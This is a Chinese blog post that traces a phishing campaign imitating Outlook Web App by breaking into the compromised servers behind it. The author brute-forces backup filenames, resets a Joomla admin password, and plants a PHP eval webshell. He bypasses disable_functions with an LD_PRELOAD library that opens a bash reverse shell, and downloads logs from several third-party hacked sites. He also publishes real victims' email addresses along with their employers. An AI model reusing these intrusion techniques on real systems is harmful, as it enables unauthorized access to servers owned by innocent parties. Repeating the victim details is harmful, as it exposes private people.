邮件钓鱼攻击与溯源
作者:admin | 时间:2019-2-22 00:56:33 | 分类:黑客技术 隐藏侧边栏展开侧边栏
一、前言
近日朋友收到一封来自海外的钓鱼邮件,委托我帮忙分析。因此我对钓鱼者身份和攻击路径进行了一次详细的溯源。大致摸清了攻击者组织身份、攻击手法以及动机。本次溯源工作主要是通过提取攻击者控制的肉鸡服务器、网站访问日志、攻击者后门特征等。关联分析这些日志和特征最终得到攻击者的身份信息。本文以流水账的方式,详细记录整个溯源过程,包括分析手法和思路,以供安全研究人员参考。
二、信息收集
这是一封冒充 Microsoft Outlook WebApp 密码过期的钓鱼邮件:
2.1 邮件正文:
Received: from sysmailout1.platon.sk (unknown [85.248.228.17])
by bizmx16.qq.com (NewMx) with SMTP id
for <test@test.cn>; Thu, 29 Nov 2018 06:56:41 +0800
X-QQ-SPAM: true
X-QQ-FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0
PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w
1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbT
fHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZ
QUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==
X-QQ-MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM
4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkK
yGbgfv5Gx9Qr65abnNzXymg=
X-QQ-mid: bizmx16t1543445804ti4ex7suw
X-QQ-CSender: www-data@m7web1.platon.sk
X-QQ-ORGSender: www-data@m7web1.platon.sk
X-KK-mid:bizmxp6t1543445804t9ne878su
Received: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150])
by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCC217002E
for <test@test.cn>; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
Received: by m7web1.platon.sk (Postfix, from userid 33)
id 89364400A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
To: test@test.cn
Subject: =?UTF-8?Q?Password_expiry_notice?=
Date: Wed, 28 Nov 2018 23:56:38 +0100
From: =?UTF-8?Q?Microsoft_Online_Services_Team?= <no-response@365.mirohaviar.sk> Message-ID: <0a9ee06dc11866565f0302302c647c7a@www.mirohaviar.sk> X-Priority: 3
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="us-ascii"
略... <br>The password for the Microsoft 365 account<span style=3D"font-weight: b= old;"> test@test.cn </span> has
expired.<br>![mir-nc.png-57.1kB][2] <span class=3D"Apple-converted-space"></span><br>To protect your Microsoft =
account, your existing password may cease to work
shortly.<br> <br> You are now required to <span class=3D"Apple-converted-space"></span><a hre= f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@= test.cn "><span style=3D"font-weight: bold;">change
your password</span></a> immediateIy.<span class=3D"Apple-converted-space"> <br> =2E</span><br> <a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest=@test.cn 略...
2.2 分析邮件内容
根据邮件内容得到的信息如下:
钓鱼网站:www.rosturplast.com(137.74.81.5 法国)
钓鱼链接:http://www.rosturplast.com/shells/logon.secureaccess/?ml=test@test.cn
发件地址: no-response@365.mirohaviar.sk
服务商:Platon Technologies, s.r.o (斯洛伐克)
SMTP: sysmailout1.platon.sk (85.248.228.17 斯洛伐克)
三、渗透钓鱼网站
3.1 漏洞分析
目标网站:www.rosturplast.com
访问钓鱼链接,一个克隆OWA修改密码的的虚假页面,我们按照正常流程走一遍,密码随便输入。不出所料页面提示密码错误,这么做可以收集受害者多个密码提高成功率,仔细想想这个功能还是很贴心的:)。
Step 1
Step 2
Step 3
抓包如下:注入、跨站之流都是不存在的。
访问首页,这是一家俄罗斯的塑料水管厂商,攻击者入侵了这个网站,放置了钓鱼页面,再通过邮件传播。
端口扫描显示开放了一堆端口,防火墙做了策略限制。
通过扫描分析,得到沦陷主机信息如下:
HOST: www.rosturplast.com (137.74.81.5 法国)
OS: Red Hat 4.8
Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
CMS: Joomla 3.3.3 (Joomla!是一套海外流行的建站系统,基于PHP+MySQL开发)
这是一个低版本的Joomla,joomscan扫描显示受害网站有一堆漏洞,看起来弱不禁风,Getshell指日可待。
扫描发现PHPMailer RCE漏洞,不过需要邮件发送表单功能才能利用,这一堆漏洞里面,看起来唯一有机会的是CVE-2016-9838(Joomla! Core Remote Privilege Escalation Vulnerability),然而经过测试攻击者(丧心病狂)贴心的把用户注册页面删除了!堵住了漏洞,导致无法利用。
机智的我(此时毫无办法),开始挂字典整合Joomla目录盲扫备份文件,最后发现目标存在PhpMyAdmin后台,和一个报错页面,页面显示了网站绝对路径和疑似以日期格式生成的网站备份的文件名。
/var/www/rosturpl/data/www/rosturplast.com/rosturplast.com.2015-11-11.zip
3.2 陷入僵局
尝试下载这个文件,http响应404。看了一下同站有多个站点,但旁站渗透是个体力活,国外这种典型的CloudLinux+cPanel的架构不好提权。到这一步陷入了僵局,睡个午觉养养神,下午继续研究。
wget http://www.rosturplast.com/rosturplast.com.2015-11-11.zip 错误 404:Not Found
3.3 后台提权
不到万不得已,不从旁站和C段入手,稍加思索根据报错页面的备份文件名格式生成日期文件,尝试遍历日期下载,碰碰运气。
脚本内容:
#!/bin/bash startdate=`date -d "+0 day $1" +%Y%m%d`
enddate=`date -d "+0 day $2" +%Y%m%d` while [[ $startdate -le $enddate ]] do date=$startdate startdateother=`date -d "+0 day $date" +%Y-%m-%d`
dateother=$startdateother url=http://www.rosturplast.com/rosturplast.com.$dateother.zip echo "$url" startdate=`date -d "+1 day $date" +%Y-%m-%d`
startdateother=`date -d "+1 day $date" +%Y-%m-%d`
wget $url done
脚本大概跑了一个下午,当到达2017-08-07的时候,响应200状态码,看到rosturplast.com.2017-08-07.zip的文件大小为177M 感觉成了,解压后果然是整站备份,果然是柳暗花明又一shell。
查看配置文件configuration.php
得到数据库连接信息,登录PhpMyAdmin后台。低权限无法直接写shell,只能修改默认密码登录Joomla!后台。
public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'user***'; //敏感信息打码 public $password = 'K********6759'; //敏感信息打码 public $db = 'rtp_com3'; public $dbprefix = 'ms8ef_'; public $live_site = ''; public $secret = '5qp******4zU'; //敏感信息打码
备份原始密文以备还原,将后台密码修改为 test123456XYZ
http://www.rosturplast.com/administrator/ admin / test123456XYZ
登录后台,通过模板写入WebShell
Extensions —> Template Manager —> Template —> New Files —> PHP WebSehll
这里写入了PHP一句话WebShell,通过Cknife(java版中国菜刀)对网站进行控制。
<?php @eval($_POST['cmd']);?>
查看攻击者的钓鱼文件目录,user.txt
详细记录了上钩的受害者信息。
3.4 日志分析
将网站文件和访问日志下载到本地分析
[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/log.tar.gz /var/www/rosturpl/data/access-logs /var/www/rosturpl/data/logs/rosturplast*
[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/www.tar.gz --exclude=/var/www/rosturpl/data/www/rosturplast.com/www.tar.gz /var/www/rosturpl/data/www/rosturplast.com/
wget -c http://www.rosturplast.com/log.tar.gz && wget -c http://www.rosturplast.com/www.tar.gz
⚡ root@kali /tmp gzip -d *.gz
⚡ root@kali /tmp ls -lh
总用量 22M
-rw-r----- 1 48 6313 392K 11月 30 16:19 rosturplast.com.access.log -rw-r----- 1 48 6313 418K 11月 21 08:08 rosturplast.com.access.log-20181121 -rw-r----- 1 48 6313 315K 11月 22 08:27 rosturplast.com.access.log-20181122 -rw-r----- 1 48 6313 367K 11月 23 08:08 rosturplast.com.access.log-20181123 -rw-r----- 1 48 6313 332K 11月 24 08:20 rosturplast.com.access.log-20181124 -rw-r----- 1 48 6313 394K 11月 25 08:30 rosturplast.com.access.log-20181125 -rw-r----- 1 48 6313 217K 11月 26 08:27 rosturplast.com.access.log-20181126 -rw-r----- 1 48 6313 338K 11月 27 08:07 rosturplast.com.access.log-20181127 -rw-r----- 1 48 6313 1.8M 11月 28 08:35 rosturplast.com.access.log-20181128 -rw-r----- 1 48 6313 2.3M 11月 29 08:38 rosturplast.com.access.log-20181129 -rw-r----- 1 48 6313 6.4M 11月 30 08:38 rosturplast.com.access.log-20181130 -rw-rw---- 1 48 6313 267K 11月 30 16:00 rosturplast.com.error.log -rw-rw---- 1 48 6313 3.8K 11月 21 03:44 rosturplast.com.error.log-20181121 -rw-rw---- 1 48 6313 1.9K 11月 21 14:43 rosturplast.com.error.log-20181122 -rw-rw---- 1 48 6313 1.9K 11月 23 02:30 rosturplast.com.error.log-20181123 -rw-rw---- 1 48 6313 5.0K 11月 24 01:46 rosturplast.com.error.log-20181124 -rw-rw---- 1 48 6313 8.3K 11月 25 02:07 rosturplast.com.error.log-20181125 -rw-rw---- 1 48 6313 2.3K 11月 26 05:05 rosturplast.com.error.log-20181126 -rw-rw---- 1 48 6313 4.1K 11月 27 05:34 rosturplast.com.error.log-20181127 -rw-rw---- 1 48 6313 550K 11月 28 08:35 rosturplast.com.error.log-20181128 -rw-rw---- 1 48 6313 6.5M 11月 29 07:51 rosturplast.com.error.log-20181129 -rw-rw---- 1 48 6313 1.4M 11月 30 08:38 rosturplast.com.error.log-20181130
用D盾扫网站文件,发现这个网站已成跑马场。
攻击者在shells/
目录下放置钓鱼文件和PHP后门。
查看哪些IP访问了后门并统计次数
查询攻击者IP地址
⚡ root@kali /tmp/rosturplast.com/log grep "/shells/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt 26 174.85.145.99 20 50.73.252.169 10 213.233.104.120 2 207.228.149.69 2 195.211.23.207 2 129.205.113.8
⚡ root@kali /tmp/rosturplast.com/log for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done IP: 174.85.145.99 来自: 美国 IP: 50.73.252.169 来自: 美国 IP: 213.233.104.120 来自: 罗马尼亚 IP: 207.228.149.69 来自: 百慕大 IP: 195.211.23.207 来自: 俄罗斯 IP: 129.205.113.8 来自: 尼日利亚
根据后门文件名,匹配Apache访问日志得到攻击者的代理IP和User Agent
⚡ root@kali /tmp grep "/shells" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq 129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" 207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv
50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
通过日志匹配邮箱并去重得到受害者邮箱地址
egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
⚡ root@kali /tmp egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
alexsin54@yahoo.com //攻击者邮箱 clavenda.payman@lbdi.net //利比亚发展投行CFO dennis@rayfields.co.za //域名失效 georges.raad@nera.net //新加坡IT基础设施提供商员工 gthakkar@sscinc.com //美国SS&C Technologies, Inc. (印度分公司) jasonchowan223@gmail.com //攻击者邮箱 ******@******.com //同事 jiajie.lim@cimb.com //马来西亚联昌国际银行员工 kohchinbeng@bdo.com.sg //新加坡立信会计师事务所员工 mayfaithlee@hotmail.com //未知 philip@beekoo.hk //深圳市很有蜂格网络科技有限公司CEO Point72.IR@sscinc.com //美国SS&C Technologies, Inc. shunweicapital@sscinc.com //美国SS&C Technologies, Inc.(疑似顺为资本) url@email.com //无效
3.5 受害者身份识别
通过搜索引擎对这15个受害者邮箱进行身份识别。
3.5.1 alexsin54@yahoo.com / jasonchowan223@gmail.com
alexsin54@yahoo.com:攻击者欺诈账户,曾被举报过,在这里攻击者用来作钓鱼测试。
jasonchowan223@gmail.com:通过钓鱼程序配置文件获得。
./logon.secureaccess/mail.php:$mail="jasonchowan223@gmail.com";
来源:https://avoidaclaim.com/2018/debt-collection-fraud-using-the-name-yeung-alexander-luk/
3.5.2 clavenda.payman@lbdi.net
Mrs. Clavenda O. PAYMAN 利比亚发展投行(Liberian Bank forDevelopment and nvestment)首席财务官
3.5.3 georges.raad@nera.net
疑似新加坡 Nera Telecommunications Ltd(IT基础设施提供商)公司员工
3.5.4 gthakkar@sscinc.com
美国SS&C Technologies, Inc. & 印度金融服务公司 Globeop Financial Services Technologies (India) Private Limited
3.5.5 jiajie.lim@cimb.com
马来西亚联昌国际银行员工(CIMB Group)
3.5.6 kohchinbeng@bdo.com.sg
KOH CHIN BENG 新加坡立信会计师事务所员工
3.5.7 philip@beekoo.hk
深圳市很有蜂格网络科技有限公司 CEO
四、渗透邮件发送网站
目标:mirohaviar.sk ,这是一个博客网站
4.1 漏洞扫描
服务器信息如下:
HOST: mirohaviar.sk(85.248.229.150 斯洛伐克)
OS: Debian 7
Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16
CMS: Joomla 1.5
CMS漏洞扫描得到图示的漏洞信息,经过测试全部无法利用,其他端口也没有发现可以利用的的漏洞,看来攻击者也是一个勤奋的同学,入侵成功后做了相应的修复和加固,看起来毫无办法,好像只能旁站或者C段渗透了。
然而有人的地方就有江湖,有黑客入侵过的网站一定有后门。这类利用通用漏洞批量入侵的黑客团伙,后门文件一般都有特征,我根据前一个网站获得的php后门文件名列表,批量访问当前网站得到了三个相同的后门文件。
⚡ root@kali /tmp/rosturplast.com/webroot/shells md5sum * 724e7316427151ea1f449f38a28f642c 406.php 3e8a7cf7049e8b9ab8dfca7d3c827c4a aaaa
aaf775b99997c166ff45677806d809de an.php
e5c06f1f66781ba5c39d909096c4cd47 a.txt
f71ad06982064b125d155b6f601198b8 bacu.php
f2d7553b97d8e0a0258e48c3ca42a7d2 baer.php
c01a0691c484a8d00977a100d8706b50 cfg.php
e5c06f1f66781ba5c39d909096c4cd47 config.php md5sum: logon.secureaccess: 是一个目录 983ba05973b84e33e76916ca0dabedec new2bug.txt 1c014f955a67974dc779100c13162f1a priv8.php 2a73dda7ebb3b8d1c0d094b79623e9ff setup.php 80b5dadd0a9856f1e6d950843140d24e switch-security.php 48f50fb676028e0ae82f3f2db4e26247 unzipper.php 51f0bba7ec30b8778dca19ead016a58f webapp365.zip 58d1d66c0be0739319156702522b1b52 wso.php
相同文件名如下:
http://www.mirohaviar.sk/config.php http://www.mirohaviar.sk/an.php http://www.mirohaviar.sk/bacu.php Pro Mailer V2
其中 http://www.mirohaviar.sk/config.php
是攻击者的加密WebShell,理论上只需解密获得密码就能登录这个后门。
4.2 解密WebShell
解密过程如下
awk -F "\"" '{print $2}' config.php
//去除头尾多余字符,得到base64密文。
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' //第一次base64解码,得到16进制密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p
//第二次hex解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' //第三次base64解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' //第四次base64解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i
//第五次base64解码,得到明文
得到后门密码hash(MD5),解密后得到明文: root (饶了个大弯原来是个弱口令,下次遇到这类先跑一下密码)
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
这个后门有点皮,做了UserAgent判断,我浏览器默认设置的UA是Googlebot,访问显示404,这是反搜索引擎爬虫的惯用手段,所以我换了个正常浏览器的UA访问得到正常页面。
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found'); exit;
}
}
4.3 提权
通过webshell得到了具体系统信息,下一步尝试提权,目的是获得Apache的web访问日志。
4.3.1 突破disable_functions
测试发现目标限制跨目录(open_basedir),并禁用了命令执行函数,导致WebShell权限下,无法跨目录访问也无法执行命令。
disable_functions: escapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec
open_basedir: /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:/tmp/
突破的手段很多,这里我利用LD_PRELOAD动态链接来劫持php的mail函数突破disable_functions执行系统命令。
查看sendmail函数在执行过程中动态调用哪些标准库函数。
www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 420 entries:
Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (2) 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (3) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dane_raw_tlsa@DANE_0_0 (4) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5) 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sendto@GLIBC_2.2.5 (3)
...... 76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (3) 77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5 (3)
从中选取geteuid函数进行测试,编写动态链接程序bypass.c
#include<stdlib.h> #include <stdio.h> #include<string.h> void payload() {
system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");
} int geteuid() { if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令调用system执行一个反弹shell的操作(xxx.xxx.xxx.xxx即是我的公网服务器IP)
编译
gcc -c -fPIC bypass.c -o bypass gcc -shared bypass.c -o bypass.so
上传
www-data@m7web1:/tmp$ cat b64.txt|base64 -d >bypass.so
www-data@m7web1:/tmp$ file bypass.so
file bypass.so
bypass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)
执行
bypass.php
<?php putenv("LD_PRELOAD=/tmp/bypass.so");
mail("test@localhost","","","",""); ?>
浏览器访问http://www.mirohaviar.sk/bypass.php
页面后成功执行命令,得到了一个www-user权限的反弹shell。
4.3.2 发现行踪
仔细看这是一家斯洛伐克的网络公司,这台服务器上面托管了五百多个网站,当前的权限可以访问这些网站的文件和数据库,令人遗憾的的是apache日志目录/var/log/apache2/
无权限访问。
不过我在/tmp
目录下面发现了一个有趣的日志文件。
[/tmp/]$cat w
--2018-11-26 04:49:06-- http://187.85.134.4/cacat/mm.tgz Connecting to 187.85.134.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 769309 (751K) [application/x-gzip]
Saving to: 'mm.tgz' 0K .......... .......... .......... .......... .......... 6% 174K 4s 50K .......... .......... .......... .......... .......... 13% 176K 4s 100K .......... .......... .......... .......... .......... 19% 14.1M 2s 150K .......... .......... .......... .......... .......... 26% 353K 2s 200K .......... .......... .......... .......... .......... 33% 353K 2s 250K .......... .......... .......... .......... .......... 39% 19.8M 1s 300K .......... .......... .......... .......... .......... 46% 355K 1s 350K .......... .......... .......... .......... .......... 53% 28.7M 1s 400K .......... .......... .......... .......... .......... 59% 23.6M 1s 450K .......... .......... .......... .......... .......... 66% 344K 1s 500K .......... .......... .......... .......... .......... 73% 18.0M 0s 550K .......... .......... .......... .......... .......... 79% 360K 0s 600K .......... .......... .......... .......... .......... 86% 20.4M 0s 650K .......... .......... .......... .......... .......... 93% 20.2M 0s 700K .......... .......... .......... .......... .......... 99% 12.7M 0s 750K . 100% 2438G=1.3s 2018-11-26 04:49:10 (577 KB/s) - 'mm.tgz' saved [769309/769309]
4.4 追踪
根据泄露日志,使用谷歌搜索关键字:http://187.85.134.4
,发现了一个历史页面。
这是一个已经被删除的后门页面,刚好被谷歌爬虫收录了,进一步搜索一下这个后门参数的关键字:inurl:bc.php?filesrc=
,得到了多条后门记录。
其中多个WebShell缓存页面内容跟上一个被黑网站的临时目录中发现的日志内容吻合,疑似自动化攻击留下的日志,WebShell底部署名:Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber
,表明后门均为这个黑客组织所有。
进一步搜索这个黑客组织名称,发现大量被黑网站,程序使用Wordpress与Joomla居多。
4.5 提取日志
我提取了其中几个被入侵网站的访问日志。
4.5.1 网站:www.radiolanalhue.cl
打包
tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz
--exclude=/home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz /home/radiolanalhue/public_html/
tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.log.tar.gz /home/radiolanalhue/logs/radiolanalhue.cl-ssl_log-Nov-2018.gz /home/radiolanalhue/access-logs/ /home/radiolanalhue/access-logs/radiolanalhue.cl
下载
wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.tar.gz
wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.log.tar.gz
分析
根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。
✘ ⚡ root@kali /tmp/radiolanalhue.cl/log/ grep "/beez5/" radiolanalhue.cl-Dec-2018 疑似攻击者代理IP: 212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" 谷歌爬虫: 66.249.66.149 - - [01/Dec/2018:00:53:57 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.151 - - [01/Dec/2018:06:34:34 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/favicon.ico&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 2348 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.153 - - [01/Dec/2018:06:51:46 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/component.php&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 5456 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
4.5.2 网站:zebramedia.al
打包
tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz --exclude=/home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz /home/vayqpdvg/zebramedia.al/
tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-log.tar.gz /home/vayqpdvg/logs
下载
wget http://zebramedia.al/zebramedia.al-log.tar.gz
wget http://zebramedia.al/zebramedia.al-www.tar.gz -rw-r--r-- 1 1365 1328 478714 11月 30 21:15 evropakrijuese.publik.live-Nov-2018.gz -rw-r--r-- 1 1365 1328 6463 11月 30 21:15 evropakrijuese.publik.live-ssl_log-Nov-2018.gz -rw-r--r-- 1 1365 1328 1855430 6月 30 2018 ftp.publik.live-ftp_log-Jun-2018.gz -rw-r--r-- 1 1365 1328 7899 11月 27 21:12 ftp.publik.live-ftp_log-Nov-2018.gz -rw-r--r-- 1 1365 1328 22883767 11月 30 21:15 ief.publik.live-Nov-2018.gz -rw-r--r-- 1 1365 1328 67526 11月 30 21:15 ief.publik.live-ssl_log-Nov-2018.gz -rw-r--r-- 1 1365 1328 68187 11月 30 21:15 instadyqan.publik.live-Nov-2018.gz -rw-r--r-- 1 1365 1328 34530 11月 30 21:15 instadyqan.publik.live-ssl_log-Nov-2018.gz -rw-r--r-- 1 1365 1328 35748 11月 30 21:15 pigmentnews.publik.live-Nov-2018.gz -rw-r--r-- 1 1365 1328 7709 11月 28 21:15 pigmentnews.publik.live-ssl_log-Nov-2018.gz -rw-r--r-- 1 1365 1328 129055 11月 30 21:15 publik.live-Nov-2018.gz -rw-r--r-- 1 1365 1328 14487 11月 30 21:15 publik.live-ssl_log-Nov-2018.gz -rw-r--r-- 1 1365 1328 88292 11月 30 21:15 zebramedia.publik.live-Nov-2018.gz -rw-r--r-- 1 1365 1328 139759 11月 30 21:15 zebramedia.publik.live-ssl_log-Nov-2018.gz -rw-r--r-- 1 1365 1328 6047261 11月 30 21:15 zeri-popullit.publik.live-Nov-2018.gz -rw-r--r-- 1 1365 1328 52004 11月 30 21:15 zeri-popullit.publik.live-ssl_log-Nov-2018.gz
分析
根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。
⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort |uniq 148 197.211.61.82 (尼日利亚) 8 178.128.221.199 (希腊)
⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * | grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq 178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
4.5.2 网站:helioncomposites.com
打包
日志路径: /home2/helionco/access-logs/helioncomposites.com/
日志备份:
ls /home2/helionco/logs/ ftp.helioncomposites.com-ftp_log-Feb-2018.gz
helioncomposites.com-Dec-2018.gz
helioncomposites.com-Nov-2018.gz
helioncomposites.com-ssl_log-Dec-2018.gz
helioncomposites.com-ssl_log-Nov-2018.gz
tar zcvf /home2/helionco/www/helioncomposites.com-www.tar.gz --exclude=/home2/helionco/www/helioncomposites.com-www.tar.gz /home2/helionco/www/ tar zcvf /home2/helionco/www/helioncomposites.com-log.tar.gz /home2/helionco/logs/ /home2/helionco/access-logs/helioncomposites.com/
下载
wget http://helioncomposites.com/helioncomposites.com-log.tar.gz
wget http://helioncomposites.com/helioncomposites.com-www.tar.gz
分析
根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。
